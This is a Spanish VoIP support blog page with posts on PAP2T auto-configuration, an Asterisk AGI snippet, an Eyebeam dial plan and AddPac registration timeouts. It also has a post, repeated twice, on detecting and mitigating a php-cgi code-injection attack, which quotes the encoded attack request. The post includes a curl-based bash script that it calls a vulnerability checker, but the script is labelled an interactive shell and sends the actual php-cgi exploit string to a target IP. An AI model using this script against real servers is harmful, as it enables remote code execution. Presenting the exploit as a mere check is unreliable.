Entrada destacada

Dial plan para EYEBEAM

Este articulo describe la forma de configurar el dialplan para un softphone eyebeam en un central PBX. Es valido para Perú, pero se puede aj...

lunes, 21 de noviembre de 2016

Como detectar si mi servidor es victima de inyección de código malicioso

La inyección de código malicioso se produjo porque tenia una versión vieja de php. Hay un bug en ciertas versiones antiguas de PHP en donde el ataque hace uso del php-cgi.

El ataque inicia modificando ciertos parámetros de configuración del servidor, para luego descargar un IRCBOT al que se conectan para usar nuestro servidor como atacante DDOS.

Pasos para detectar y mitigar el ataque:

1  Ejecutar ps ax para buscar proceso extraños.
2. Ejecutar  netstat -putona para ver los procesos y las direcciones ip a las que se conectan.
3. Agregar con iptables un bloqueo a la ip externa que se conecta el proceso extraño.
4. Matar el proceso con kill -9 pid
5. Ver en /tmp/ si hay carpetas ocultas extrañas también chequear en /var/tmp
6. Parar el servicio apache y comentar en el archivo de configuración todo lo que se refiere a cgi-bin y su directorio.
7. Actualizar la version de PHP.

Mirando los logs de apache podemos ver como inicia la inyección de código malicioso:

"POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1"

Mediante el método POST envían este cadena codificada con los parámetros que modifican el comportamiento de PHP en nuestro servidor.

Lo curioso es que se encontró en el archivo tmp un imagen llamada flbotbsd.jpg que es un directorio comprimido con herramientas de instalación del ircBot.

Lo siguiente es un script que detecta si el servidor es vulnerable a este ataque:

#!/bin/bash
#
# interactive shell over php-cgi POST requests.
#
#
if [ -z "$1" ] ;
    then
    echo "USAGE: $0 [ip] [command]"
    exit
fi

curl -i -s -k  -X 'POST' \
  -H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)' \
  --data-binary "" \
  "http://$1/cgi-bin/php5?%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn"



Saludos.

Como detectar si mi servidor es victima de inyección de código malicioso

La inyección de código malicioso se produjo porque tenia una versión vieja de php. Hay un bug en ciertas versiones antiguas de PHP en donde el ataque hace uso del php-cgi.

El ataque inicia modificando ciertos parámetros de configuración del servidor, para luego descargar un IRCBOT al que se conectan para usar nuestro servidor como atacante DDOS.

Pasos para detectar y mitigar el ataque:

1  Ejecutar ps ax para buscar proceso extraños.
2. Ejecutar  netstat -putona para ver los procesos y las direcciones ip a las que se conectan.
3. Agregar con iptables un bloqueo a la ip externa que se conecta el proceso extraño.
4. Matar el proceso con kill -9 pid
5. Ver en /tmp/ si hay carpetas ocultas extrañas también chequear en /var/tmp
6. Parar el servicio apache y comentar en el archivo de configuración todo lo que se refiere a cgi-bin y su directorio.
7. Actualizar la version de PHP.

Mirando los logs de apache podemos ver como inicia la inyección de código malicioso:

"POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1"

Mediante el método POST envían este cadena codificada con los parámetros que modifican el comportamiento de PHP en nuestro servidor.

Lo curioso es que se encontró en el archivo tmp un imagen llamada flbotbsd.jpg que es un directorio comprimido con herramientas de instalación del ircBot.

Lo siguiente es un script que detecta si el servidor es vulnerable a este ataque:

#!/bin/bash
#
# interactive shell over php-cgi POST requests.
#
#
if [ -z "$1" ] ;
    then
    echo "USAGE: $0 [ip] [command]"
    exit
fi

curl -i -s -k  -X 'POST' \
  -H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)' \
  --data-binary "" \
  "http://$1/cgi-bin/php5?%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn"



Saludos.

domingo, 2 de octubre de 2016

Configurador automatico de linksys pap2t

Muchos que trabajamos en este mundillo del VoIP, hemos configurado cientos e incluso miles de equipos VoIP de todas las marcas y modelos. Pero el equipo que mas hemos configurado, seguro es el Linksys pap2t.

Si queremos que el equipo Linksys pap2t trabaja bien, hay muchos parámetros que configurar, como el nombre del equipo, los tonos de marcado, los tonos de timbrado, el volumen del audio salida, el tiempo entre dígitos marcados, el nivel de jitter necesario, los codes g729, g723, etc.

Son muchos los parámetros a configurar, es por eso que en soporte voip creamos hace muchos años el configurador automático. Este sistema configura de forma automática los parámetros óptimos para que el equipo VoIP PAP2T trabaje al máximo de eficacia.

Otro problema que resuelve el configurador automático VoIP, es que el cliente nunca tiene que saber los passwords de la cuenta sip permitiendo tener una seguridad mejorada. Esto ayuda mucho para los acceso remotos con programas como el teamviewer, la configuracion del equipo sera segura  y demorara solo segundos.

Y que pasa en aquellas situaciones en la que es imposible acceder remotamente a la computadora del cliente para configurar el equipo Linksys. pues el configurador automático nos ayudara a configurar el equipo remoto de manera muy fácil.

El código que genera este sistema nos permite decir al cliente que visite la pagina web del configurador, ingrese el código y la ip del equipo linksys. El configurador automático configurara por nosotros el equipo linksys.

Este sistema también configura automáticamente equipos cisco SPA 112.

En resumen una maravilla que nos ayudara en muchas situaciones.





sábado, 10 de septiembre de 2016

Reproduccion audio sin responder la llamada

Se se quiere reproducir un audio sin mandar la señal de answer esta es la solución

AGI en PHP.

$prompt ="no-hay-saldo";
$agi->exec("Progress");
$agi->exec("Playback $prompt,noanswer");

Este código es muy útil para que no se dispare la tasación de la llamada cuando no hay saldo disponible en la cuenta.

domingo, 10 de julio de 2016

KIT de anexo extendido.

Te presento este kit con el que llevamos una linea telefónica de cualquier operador o central, a un punto remoto. El punto remoto debe esta conectado por cualquier medio fisico o inalambrico a tu red LAN.


miércoles, 20 de abril de 2016

Dial plan para EYEBEAM

Este articulo describe la forma de configurar el dialplan para un softphone eyebeam en un central PBX. Es valido para Perú, pero se puede ajustar para cualquier pais.



Forma de marcar:

Para marcar un numero de anexo solo marcar los tres digitos correspondientes al anexo.
Para marcar un numero telefonico anteponer el 9 (como cualquier central para acceder a la pstn)

Dialplan Lima:

[1-8]xx|9[2-8]xxxxxx|99xxxxxxxx|90[4-8][1-7][2-8]xxxxx|900[1-9]xxxxxxxx.;match=1;pre="2194001";match=2;prestrip=1;pre="01";match=3;prestrip=1;match=4;prestrip=1;


Dialplan Provincia:

[1-8]xx|9[2-8]xxxxx|99xxxxxxxx|90[4-8][1-7][2-8]xxxxx|900[1-9]xxxxxxxx.;match=1;pre="2194001";match=2;prestrip=1;pre="0ZZ";match=3;prestrip=1;match=4;prestrip=1;

Nota: 0ZZ indica el codigo del departamento


Explicación del dialplan de provincia:


  • La primera parte del dialplan es parecido al dialplan del pap2t, las plantillas separadas por el símbolo "|"
  • match=1 indica la primera plantilla, match=2 indica la segunda plantilla y así sucesivamente
  • match=1;pre="2194001" agrega el prefijo 2194001 a la primera plantilla
  • match=2;prestrip=1;pre="0ZZ" remueve el primer dígito y agrega el prefijo 0ZZ, que es el código del departamento, a la segunda plantilla.
Ojala les pueda servir, Saludos.

martes, 19 de enero de 2016

Perdida de registro en equipos addpac para recepcion de llamadas

El problema ocurre porque los equipos intermedios de red cortan el enlace entre el servidor y cliente cuando hay cierto tiempo de inactividad .  Para mantener activo este enlace y se tenga actividad  ajustamos los valores de timeout del equipo addpac.



Aqui esta mi configuracion favorita:

El servidor es: 191.168.1.100

!
sip-ua
 user-register
 sip-server 191.168.1.100
 timeout treg 20
 timeout tregtry 10
 timeout texpires 30
 register e164
!

Con esto acortamos el tiempo que el equipo addpac espera para consultar al servidor sobre su registro, evitando que los equipos de red consideren inactiva esta comunicacion.

Esperando que esta pequeña aportacion pueda servir para mejorar la comunicacion de mas personas en el mundo.